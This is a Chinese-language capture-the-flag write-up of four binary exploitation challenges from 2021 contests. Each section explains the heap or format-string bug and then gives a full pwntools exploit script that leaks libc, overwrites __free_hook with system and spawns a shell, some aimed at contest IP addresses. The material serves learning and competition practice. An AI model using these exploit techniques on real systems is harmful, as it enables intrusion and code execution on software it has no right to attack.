先是成都学院的一个比赛 classromm
2021四川省省赛原题
1 2 3 4 5 6 Arch: amd64-64 -little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
也算是经典菜单题吧
add
edit
free
存在的漏洞
存在UAF
能够double
strcpy的\x00截断导致栈溢出(虽然这题没什么用)
解题思路 首先GDB调试的时候发现它一开始申请了一个0x11c00的堆块,通过UAF和double使得我们申请到该堆块,然后释放,可以获得unsorted bin,再次申请相同序号的该堆块就能够泄露libc地址。泄露libc后再次利用double和UAF将free_hook链到tcache上面去,最后申请到free_hook,填入system的地址,最后释放一个写有/bin/sh的堆块获得shell
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 from pwn import * from rpyc import lib context (log_level='debug' ,os='linux' ,arch='amd64' ) #p = process('./classroom' ) p = remote('125.71.5.44' ,50015 )elf =ELF('./classroom' ) libc =ELF('/lib/x86_64-linux-gnu/libc.so.6' ) offset =libc.sym['__malloc_hook' ]+0x10 def cmd(choice): p.sendlineafter(">" ,str(choice)) def add(idx,name): cmd(1 ) p.sendlineafter(">" ,str(idx)) p.sendlineafter(">" ,name) def edit(idx,name): cmd(3 ) p.sendlineafter(">" ,str(idx)) p.sendlineafter(">" ,name) def free (idx): cmd(2 ) p.sendlineafter(">" ,str(idx)) add(0 ,'a' *0x8 ) add(1 ,'b' *8 ) add(3 ,'c' *8 ) free (0 )edit(0 ,'a' *8 ) free (0 )p.recvuntil(">" ) p.sendline("1" ) p.recvuntil(">" ) p.sendline("0" ) p.recvuntil("Welcome my student :" ) heap_base =u64(p.recvline(keepends=False).ljust(8 ,b' \x00' ))-0x11c20 +0x10 print (hex(heap_base)) edit(0 ,p64(heap_base)) add(4 ,'/bin/sh\x00' ) add(5 ,'b' ) free (5 )p.recvuntil(">" ) p.sendline("1" ) p.recvuntil(">" ) p.sendline("5" ) p.recvuntil("Welcome my student :" ) base=u64(p.recvline(keepends=False).ljust(8 ,b' \x00' ))-96 -offset print (hex(base)) sys = base+libc.sym['system' ] free_hook = base +libc.sym['__free_hook' ] free (1 )free (3 )edit(3 ,p64(free_hook)) add(6 ,'a' *8 ) add(7 ,p64(sys)) free (4 )# gdb.attach(p) p.interactive()
深育杯
太菜了,offbynull的利用掌握不熟练;C语言学的太差了;
find_flag(格式化字符串泄露程序基地址) 1 2 3 4 5 6 Arch: amd64-64 -little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
解题方法 这题给了后门函数,但是保护全开,题目附件没有给libc;一开始是打算泄露__libc_start_main地址获得libc,然后直接填返回地址为one_gadget;后面发现打远程的时候地址不对,所以就改变思路,泄露程序的地址,通过计算获取程序的基地址;最后填后面函数到返回地址获取shell
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 from re import S from elftools.construct.adapters import OneOf from pwn import * from pwnlib.adb.adb import fastboot context (log_level='debug' ,os='linux' ,arch='amd64' ) p = process('./1' )#p = remote('192.168.38.215' ,2001) libc =ELF("/lib/x86_64-linux-gnu/libc.so.6" ) start = libc.sym["__libc_start_main" ] # 0x7fdfd8a740b3 # 0x7f61eac3f6a0 rdi =0x14e3 one =[0xe6c7e ,0xe6c81 ,0xe6c84 ] # one = [0x45226,0x4527a,0xf03a4,0xf1247] # one =[0x4f3d5,0x4f432,0x10a41c] p.recvuntil(b"name? " ) # gdb.attach(p) # pause() p.sendline("%17$p" +"%15$p" ) p.recvuntil(b"Nice to meet you, " ) # # # print (hex(canary)) canary =int (p.recv(18 ),16 ) base = int (p.recvuntil("!" ,drop=True),16 ) -0x1140 print (hex(base)) back = 0x1228 +base # # sys = base +libc.sym['system' ] # # sh =base +next(libc.search(b"/bin/sh" )) # one =base +one[0] # # rdi =base +0x000000000000021112 # p.recvuntil("Anything else? " ) payload = b' a' *0x38 +p64(canary)+b' a' *8 +p64(back) p.sendline(payload) # # sleep(2) p.interactive()
Creatcode
libc-2.31.so
1 2 3 4 5 6 7 Arch: amd64-64 -little RELRO: Full RELRO Stack: Canary found NX: NX disabled PIE: PIE enabled RWX: Has RWX segments
add
show
del
程序在add的时候,默认分配0x330的大小,但是可以写入0x3E8的大小,存在堆溢出;并且在申请堆块的时候,将堆块的前4个字节写入了0x4;在调用程序的show函数的时候,输出的大小就是0x4,同时从0x8的位置开始输出。另外就是free的时候,假如存在0,1,2,3,4四个堆块,如果从后面释放的话,不会有什么变化,如果从堆块0开始,0被删除后,后面的堆块都会依次向前面移0x8个字节;程序只有堆溢出的漏洞
解题思路 先是泄露libc地址,我先申请了9个堆块,然后用特定的顺序释放掉;目的是为了,假如有三个堆块0,1,2,且2是unsorted bin,里面含有libc的地址,我们需要先申请堆块1,再申请堆块0,通过堆块0的堆溢出改写堆块1的前四个字节0x4变为0x700,然后show()堆块1,这样就会连同2的内容一起泄露;泄露libc后,利用同样的手法,改写tcache的fd为free_hook,申请到free_hook填入system,然后释放写入了/bin/sh的堆块;这里还有个坑就是,在释放含有/bin/sh的堆块的时候,因为前0x4字节被写入了0x4,所以我们还需要利用上面的手法再次改写0x4为/bin/sh,这样才能成功获取shell。
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 from pwn import * context (log_level='debug' ,os='linux' ,arch='amd64' ) p = process('./1' )# p= remote('192.168.38.215' ,2007) elf =ELF('./1' ) libc =ELF('/lib/x86_64-linux-gnu/libc.so.6' ) offset =libc.sym['__malloc_hook' ]+0x10 one =[0xe6c7e ,0xe6c81 ,0xe6c84 ] def cmd(choice): p.sendlineafter("> " ,str(choice)) def add(content): cmd(1 ) p.sendafter("content: " ,content) def show(idx): cmd(2 ) p.sendlineafter("id: " ,str(idx)) def free (idx): cmd(3 ) p.sendlineafter("id: " ,str(idx)) # add('a' *8) # add('b' *8) # add('d' *8) # add('e' *8) # free(3) # free(2) # free(0) # free(0) # add('m' *4) # add(b'a' *0x328+p64(0x331)+p64(0x700)) # show(0) # p.recvuntil("\x00" *0x319) # p.recv(19) # heap_base = u64(p.recv(7 ).ljust(8 ,b' \x00' )) -0xc30 +0x10 # print (hex(heap_base)) # free(0) # add(b'a' *0x320+p64(0)+p64(0x331)+p64(heap_base)) # add('a' *8) # add(b'a' *96+p64(0x0000000000070000)) for i in range(9 ): add('a' *8 ) free (4 )free (3 )free (2 )free (1 )free (0 )free (0 )free (0 )free (0 )add('b' *8 ) add(b' a' *0x328 +p64(0x331 )+p64(0x700 )) show(1 ) p.recvuntil('\x00' *0x320 ) p.recv(12 ) base = u64(p.recv(7 ).ljust(8 ,b' \x00' ))-96 -offset sys =base +libc.sym["system" ] free_hook = base + libc.sym['__free_hook' ] malloc =base + libc.sym['__malloc_hook' ]print (hex(base)) for i in range(5 ): add('a' ) # free(3) # free(3) free (6 )free (5 )free (3 )free (3 )add(b' a' *0x320 +p64(0 )+p64(0x331 )+p64(free_hook-0x10 )) add(b"a" *0x320 +p64(0 )+p64(0x331 )+b"/bin/sh\x00" ) add("a" *8 ) add(b"a" *0x10 +p64(sys)) free (4 )# gdb.attach(p) p.interactive()
getshell
本地同远程2.31.so
writebook
就一个简简单单的offbynull的最基本的利用,特喵的没写出来是真的菜!!!
offbynull达成overlaping,假如存在3个堆块,1(0x120)、2(0x70)、3(0x100),其中1被释放,而且1因为tcache bin被放慢了,所以1是unsorted bin,所以2的prev_size会被写入1的大小,然后编辑堆块2
向堆块3的prev_size写入堆块2的大小,同时利用offbynull将堆块3的inuse改写为0,最后释放堆块3;这样就可以获得一个大堆块。
然后申请一个0x130的堆块切割unsorted bin,这样0x130的堆块中会残留main_arena的地址,来泄露libc;然后释放0x70的堆块,因为0x70被放进了0x130里面,所以当0x70被释放后,我们通过编辑0x130堆块的内容来覆盖0x70堆块的fd指针为free_hook
如果存在UAF就更加简单了!
直接上exp了,题目没什么特别,就是一个offbynull,然后堆块的大小有两种;一种是小于等于0xF0的,一种是小于等于0x1E0的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 from pwn import * import syscontext.log_level='debug' debug = 1 file_name = './writebook' libc = ELF( './libc.so.6' ) if debug: r = process(file_name) else : r = remote('192.168.41.232' ,2002 ) file = ELF(file_name) def add(chunk_size): r.recvuntil('> ' ) r.sendline('1' ) r.recvuntil("both sides?\n" ) r.sendline("1" ) r.recvuntil('size: ' ) r.sendline(str(chunk_size)) def add2(chunk_size): r.recvuntil('> ' ) r.sendline('1' ) r.recvuntil("both sides?\n" ) r.sendline("2" ) r.recvuntil('size: ' ) r.sendline(str(chunk_size)) def delete (index): r.recvuntil('> ' ) r.sendline('4' ) r.recvuntil('Page: ' ) r.sendline(str(index)) def show(index): r.recvuntil('> ' ) r.sendline('3' ) r.recvuntil('Page: ' ) r.sendline(str(index)) def edit(index,value): r.recvuntil('>' ) r.sendline('2' ) r.recvuntil('Page: ' ) r.sendline(str(index)) r.recvuntil('Content: ' ) r.sendline(value) def debug(): gdb.attach(r) raw_input() for x in range(7 ): add(0xf0 ) #0 -6 for x in range(8 ): add2(0x110 ) #7 -14 add(0x68 ) #15 for x in range(3 ): add(0xf0 ) for x in range(15 ): #free 0-14 delete (x) edit(15 ,b"\x00" *0x10 +b"a" *0x50 +p64(0x190 )) #offbynull delete (16 )add2(0x130 ) show(0 ) r.recvuntil("Content: " ) libc_base = u64(r.recv(6 )+b"\x00\x00" )-0x3ebf20 print (hex(libc_base)) one_gg = 0x4f365 + libc_base free_hook = libc_base+libc.symbols['__free_hook' ] system = libc_base + libc.symbols['system' ] delete (15 )edit(0 ,b"/bin/sh\x00" +b"\x00" *0x118 +p64(free_hook)) add(0x68 ) #1 add(0x68 ) #2 edit(2 ,p64(system)) gdb.attach(r) delete (0 )r.interactive()